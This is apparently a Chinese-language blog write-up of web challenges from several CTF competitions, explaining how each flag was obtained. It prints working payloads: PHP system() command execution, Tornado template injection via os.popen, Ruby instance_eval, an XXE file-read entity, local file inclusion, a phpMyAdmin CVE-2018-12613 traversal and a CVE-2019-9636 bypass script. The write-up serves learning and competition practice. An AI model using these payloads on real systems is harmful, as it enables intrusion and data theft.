最近零零散散在各种从各种渠道参加的赛事上写了些水题,一直在纠结到底要不要记。不过既然都做了,感觉过程中也有不少骚操作,就稍微记一记。正好也记上这些比赛里没写出来的题目的复现。


Free WIFI Part 1

附件给了个 free-wifi.pcapng,导入到 WireShark 里略微分析,可以发现一个请求。

1
2
3
4
5
6
7
8
    [Full request URI: http://freewifi.ctf.umbccd.io/staff.html]
[HTTP request 1/1]
[Response in frame: 89]
File Data: 134 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "csrf_token" = "ImE4OGVkMWY1ZDg4YWU4MmQxMzFmODg4ZmVhMWY2MDQ0ZjUxMDA4MjAi.Xo4DYg.fnXZhEmbQPzEgFWLgEfjSTeqX2Y"
Form item: "passcode" = "5004f47a"
Form item: "submit" = "Submit"

尝试访问 staff.html,并根据上述请求构造一个 POST 请求,就能在页面底端拿到 flag。

1
DawgCTF{[email protected][email protected][email protected]}

The Lady is a Smuggler

这题一开始给了个页面,下面有一段加密,但其实解密那段得出来的 flag 是无效的。真实的 flag 在页面的源码中。

1
DawgCTF{ClearEdge_ElizebethSmith}

Tracking

这题页面感觉跟前面那个一样,首先看一手源码。找到一段 JavaScript。

1
alert(String.fromCharCode(68,97,119,103,67,84,70,123,67,108,101,97,114, 69,100,103,101,95,117,110,105,125))

放到 Console 里面运行就得到了 flag。

1
DawgCTF{ClearEdge_uni}

Oh JS!

JSFuck

这题开门见山地给了个登录的 form,但其实查看页面源代码可以看到一段 JSFuck,把它掐头去尾放到 Console 跑一下可以发现线索。

1
2
3
4
ƒ anonymous(
) {
if (document.forms[0].username.value == "corb3nik" && document.forms[0].password.value == "chickenachos") document.location = "4d4932602a75414640946d38ea6fefbf.php"
}

于是直接跳过登录的步骤,访问 .../4d4932602a75414640946d38ea6fefbf.php 得到 flag。

1
d33p{g0tta_kn0w_y0ur_J4v4Scr1pt}

Magic Word!

Regexp

这题给出了页面的源代码和 Try to reach get_mad_and_give_flag() 的提示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
require("flag.php");

if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}

if (isset($_GET['magic_word'])) {

$what_he_said = $_GET['magic_word'];
$what_you_dont_want_to_hear = 'd33p';
$what_you_actually_heard = preg_replace(
"/$what_you_dont_want_to_hear/", '', $what_he_said);

if ($what_you_actually_heard === $what_you_dont_want_to_hear) {
get_mad_and_give_flag();
}
}
?>

既然是 preg_replace(),之前在 SQL 注入的题目里面遇到过,只需要夹着写一遍就行了。于是构造 ?magic_word=d3d33p3p 得到 flag。

1
d33p{d33p_p33d}

Nothing is Impossible

这题给的是一个可以执行 php 代码的框,于是果断试了一手 system(),发现仍然可以使用。根据题目提示,flag 在 /tmp/flag.php。于是直接使用 od 构造了 system("od -A d -c /tmp/flag.php"),得到结果。

1
0000000 < ? p h p \n e c h o " d 3 3 p 0000016 { f 4 s t _ C G 1 _ S S R F _ p 0000032 0 w 3 r ! ! } " ; \n 0000042

整理之后得到 flag。

1
d33p{f4st_CG1_SSRF_p0w3r!!}

Did You Got Trolled?

这题我成功地被绕了进去,他给了好多动物的叫声,我还以为是动物园。还有那个假装可以注入的地方,也是很好笑。其实真正的要点在找到两个 key。在学长的提示下,我在 .../css/clean-blog.css 下找到了 Key1。其实他是有给提示的,只有那一个页面引入了同样的两份 CSS,且重复的那份是没有压缩的。

1
2
3
4
5
/* 
* What is this doing here?
* Key1 = gimme0x038792
*
*/

接下来的那一份就得扫目录了,是在 .../robots.txt 里面有个提示,写着 Disallow /deep.php。访问这个页面可以得到一个提示。

1
2
3
MAINTENANCE
loading...
deep.php?page=debug.html

很容易知道这是一个文件包含,然后再看一手页面源码,可以找到 <!--Creds in /home/ubuntu/key2.txt --> 的注释。于是构造 ?page=/home/ubuntu/key2.txt 得到 Key2。

1
key2 = flag0x085927

回到 .../post.html 提交两个 Key,可以得到 flag。

1
D33P{h3r3_1s_y0ur_7r0ll_fl4g}

Greetings!

SSTI

根据题目提示,传递一个 GET 参数 ?name=you 可以得到 Hello you 的反馈。于是试了一手 {{7 * 7}} 得到了 Hello 49 的反馈,可以确定是 SSTI 的考点,然后发现了 tornado。顺势试了下 ?name={{__import__("os").popen("ls").read()}} 找到了 flag.txt。于是再构造 cat flag.txt 得到 flag。

1
d33p{I_<3_3000}

Hack MEEEE

Ruby

上来先看了一手这题源码,找到了 <!-- This application is made using ruby! <3 --> 的提示,然后当时触及到了知识盲区,就没管。其实翻了一波手册再查了一下之后发现很简单。页面请求传递了两个 POST 参数。这里有个坑,method 要放在前面,不然 POST 本身的换行符加上之后可能不会有正确结果返回。(报错在页面源码的注释中可以看到)

按照 Ruby 的手册,使用 method=methodsmethod=private_methods 可以查看当前类下包含的方法。于是找到了可以利用的反引号。手册参考 结合上 instance_eval 这个方法就能达成目的。

因此,构造 method=instance_eval&message=`ls` 的 POST 请求参数,可以得到 flag.txt 位于当前目录下的线索,于是只需要再构造 cat flag.txt 即可得到 flag。

1
d33p{send_is_a_very_dangerous_method}

Shop

题目一开始,给了 bank 和 store 的两个页面,我们知道“衬衫的价格是九镑十五便士”。啊,不是,是二十五美元。这题嘛,其实不能按照一般思路去想,一开始我在 bank 页面试了好久都加不上钱,然后就只能去 store 页面找。每买一件东西都会传递两个 POST 参数,分别指代物品类别和钱数。所以,把钱数想办法变成负数就可以从商店“索要”金钱了。但是还有一个点,使用已经存在的物品 ID 不可信,所以就随便整个其他的 ID 就行。这里还有一个坑,POST 参数最后的换行符会有影响(所以 HackBar 不行),我使用某在线的 POST 工具就成功达成目的了。最后就可以买到 flag。

1
TG20{I_just_want_to_buy_a_real_flag}

Redux

这题,说实话我其实没太看懂。首先随便填一填他给的表,然后提交,Console 里就能看到一条消息 The form has been submitted! Look at the Redux store!。我一开始也想知道这个 Redux store 指的是哪里,但是找了几下没找到。看到这条消息是来自 form.js 的,于是就顺手点开看了看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

export const mainReducer = (state = initialState, action) => {
switch (action.type) {
case types.ADD_COLONIST_NUMBER:
console.log("Payload is" + action.payload);
return { ...state, colonist_number: action.payload };
case types.ADD_FIRST_NAME:
return { ...state, firstName: action.payload };
case types.ADD_LAST_NAME:
return { ...state, lastName: action.payload };
case types.ADD_FACTION:
return { ...state, faction: action.payload };
case types.SUBMIT_FORM:
console.log("The form has been submitted! Look at the Redux store!");
return { ...state, submitted: "TG20{always_disable_redux_dev_tools}" };
default:
return state;
}
};

于是就找到了 flag。

1
TG20{always_disable_redux_dev_tools}

Miyazaki Trivia

打开页面有 Find this special file. 的提示,于是找到 .../robots.txt。打开之后又是新的提示 VIDEO GAME TRIVIA: What is the adage of Byrgenwerth scholars? MAKE a GET request to this page with a header named 'answer' to submit your answer.,查了一下之后得到答案,于是构造 ?answer=Fear the Old Blood 得到 flag。

1
auctf{f3ar_z_olD3_8l0oD}

Quick Maths

这题先随便算几个数,发现可以正常算出结果。(不太记得了,写的时候好像算了 7 * 7 啥的,得到的都是49)于是顺手构造了个 statement=system("ls") 然后发现有返回结果。于是就安排上 statement=system("cat ./index.php") 就拿到了 flag。需要注意的是,这里的请求包需要用 Burp Suite 发送才能得到返回的结果。

1
auctf{p6p_1nj3c7i0n_iz_k:3w1}

gg no re

这题一开始给了个 authentication.js,略微分析之后可以发现是 Base64,取出关键信息 TWFrZSBhIEdFVCByZXF1ZXN0IHRvIC9oaWRkZW4vbmV4dHN0ZXAucGhw再解码,得到 Make a GET request to /hidden/nextstep.php。按照提示进行,在 Header 中可以找到下一步线索,ROT13: Znxr n CBFG erdhrfg gb /ncv/svany. CuC。使用工具解密一下,得到 Make a POST request to /api/ final. PhP,接着按照提示 Send a request with the flag variable set 进行,构造 ?flag=1 即可得到 flag。

1
auctf{[email protected]_laZ_w1t_dis_0N3}

API madness

按照提示访问 .../static/help 可以看到有三个 API。先尝试一下 login,这里有个坑,要用 curl 发请求才能成功 curl -X POST -H "Content-Type: application/json" -d '{"username":"lemon","password":"password"}' host/api/login,而且响应的时间很长很长,返回的数据是一个报错的页面,里面包含了一个不一样的接口 .../api/login_check。curl 访问之后得到了一个为 null 的 token。看起来像是假的一样,但是就像爱情,你不去尝试怎么知道结果呢?于是按照 API 接口接着往前冲,构造 curl -X POST -H "Content-Type: application/json" -d '{"dir":"/","token":"null"}' host/api/ftp/dir,返回结果中看到了 flag.txt。于是构造 curl -X POST -H "Content-Type: application/json" -d '{"file":"/flag.txt","token":"null"}' host/api/ftp/get_file 得到结果。

1
2
3
4
{
"file_data": "YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg==\n",
"status": "OK"
}

取出 YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg== 之后 Base64 解码即得 flag。

1
auctf{[email protected][email protected]}

我有一个数据库

这题上来就说了数据库,但是打开页面发现没得入口,只有两行字。于是尝试找了一下特殊文件,找到了 robots.txt。文件里给了个 phpinfo.php,但是打开之后没找到啥利用点。但是由于自己搭环境的时候出了些问题,于是去查了一波,就事先知道了这题有个 phpmyadmin,如果真的打比赛估计找不到这个点。不过他给的 phpmyadmin 很奇怪,不需要登录就能操作数据库。于是就去查了一波相关的知识点,找到了 CVE-2018-12613

于是照着教程,构造 .../index.php?target=db_events.php%3f/../../../../../flag 就能够包含到在根目录的 flag。

1
gwctf{JUst_q_1I111l1Il11DAYS}

枯燥的抽奖

页面给了十个随机字母,查看网页源代码可以发现一个 check.php,访问之后可以拿到随机数生成的方法,按照 MRCTF-Ezaudit 的套路用 php_mt_seed 这个工具算一波随机数种子,然后再用 PHP 生成后面十位就行了。这里踩了一个坑,工具的版本很重要,我之前使用的那个在这题算不出来而且能算出来的也不会告知 PHP 的版本号。至于生成适合工具使用的参数格式嘛,我写了一段 PHP 代码。

1
2
3
4
$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$key = str_split("oS668h2wc9");
foreach($key as $i){
echo strpos($str,$i) . " " . strpos($str,$i) . " 0 " . "61 ";

如果前面的步骤都没有错,算出来的随机数种子应该是 951373997。放到给出的源码中然后解除 10 位的限制,可以得到二十位的字符串 oS668h2wc93iAcrwCuZQ。提交到页面上即可得到 flag。

1
flag{Y0u_wIN_abcdefghijklmnopqrstuvwxyz}

(后面的题目环境搭好了 题目好像很顶 让我慢慢写一波)

XXExternalXX

上来点 Show stored data 探索一波,注意到了地址栏的 ?xml=data.xml 察觉到可能是 XXE。随便填充之后在报错里发现了 Trying to get property 'data' of non-object,于是根据题目描述顺手构造一波。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Lemon [
<!ENTITY flag SYSTEM "file:///flag.txt">
]>
<root>
<data>&flag;</data>
</root>

这里因为是个 GET 参数,所以得想办法给构造的 payload 一个直链才能成功,达成之后可得 flag。

1
shkCTF{G3T_XX3D_f5ba4f9f9c9e0f41dd9df266b391447a}

Logs In ! Part 1

这题千万不要被标题迷惑,访问页面之后可以在左下角找到 Controller 的页面,顺手访问一波之后可以看到两个路由,访问其中一个 /e48e13207341b6bffb7fb1622282247b/debug 可得 flag。

1
shkCTF{0h_N0_Y0U_H4V3_4N_0P3N_SYNF0NY_D3V_M0D3_1787a60ce7970e2273f7df8d11618475}

Containment Forever

这题的两条 flag 没办法打开,但是有其他记录可以访问。根据地址猜测应该是要自己找到这个类似于 ID 的东西。于是尝试随便改一波,发现报错了且找到了 mongoose 的字样。在大佬的指引下找到了 参考,于是开始把页面上原来的 ID 拆开。

1
2
3
4
5
6
7
8
9
10
11
12
13
string [] items = {
"5e70da94d7b1600013655bb5",
"5e7e4f48d7b1600013655bb9",
"5e83642bd7b1600013655bba",
"5e8ee635d7b1600013655bbd"
};
for(int i = 0; i < 4; i++){
decimal[] parts = new decimal[3];
parts[0] = Convert.ToInt64(items[i].Substring(0, 8),16);
parts[1] = Convert.ToInt64(items[i].Substring(8, 10),16);
parts[2] = Convert.ToInt64(items[i].Substring(17, 7),16);
Console.WriteLine($"TimeStamp:{parts[0]}\nRandomValue:{parts[1]}\nIncrementingCounter:{parts[2]}\n");
}

然后发现随机数是固定的,也就是说只需要时间戳和 ID。时间戳只需要从两条记录上找然后转换一下,很容易得到。

1
2
2020-03-21 09:13:22  1584782002
2020-04-13 15:50:18 1586793018

至于 ID 的话只需要根据已经有的 ID 在附近枚举一下就可以了。于是写段代码生成一下。

1
2
3
4
5
6
7
8
Int64[] timeStamps = {1584782002, 1586793018};
for(int j = 56974256; j < 56974275; j++){
string [] deParts = new string[3];
deParts[0] = Convert.ToString(timeStamps[1],16);
deParts[1] = Convert.ToString(926393827347, 16);
deParts[2] = Convert.ToString(j, 16);
Console.WriteLine($"{deParts[0]}{deParts[1]}{deParts[2].Substring(1,6)}");
}

将得到的几个结果逐一尝试可以得到包含 flag 的两个记录的地址。

1
2
.../item/5e75dab2d7b1600013655bb8
.../item/5e948a3ad7b1600013655bbf

将得到的 flag 拼接在一起,得到 flag。

1
shkCTF{IDOR_IS_ALS0_P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}

Aqua World

打开页面,发现导航有个点不动的地方,审查元素访问到 .../admin-query?flag=flag。页面提示需要修改 netloc 为本地。在各种修改 header 之后看到了题目给的 hint:WTF this PYTHON version is deprecated!!!。于是顺着线索找到了 CVE-2019-9636 并根据其中给出的例子构造(Authorization 的 header 是题目本身要求的)。

1
2
3
4
5
6
import requests
headers = {
"Authorization" : "Basic YW5vbnltb3VzOmFub255bW91cw=="
}
response = requests.get(".../admin-query\[email protected]?flag=flag",headers=headers)
print(response.text)

需要注意的是,这里执行脚本的 Python 也需要使用有漏洞的版本,否则请求无法成功完成。(这部分还需要复现

使用特定版本发起请求后即可在响应中找到 flag。

1
shkCTF{NFKC_normalization_can_be_dangerous!_8471b9b2da83011a07efc2899819da65}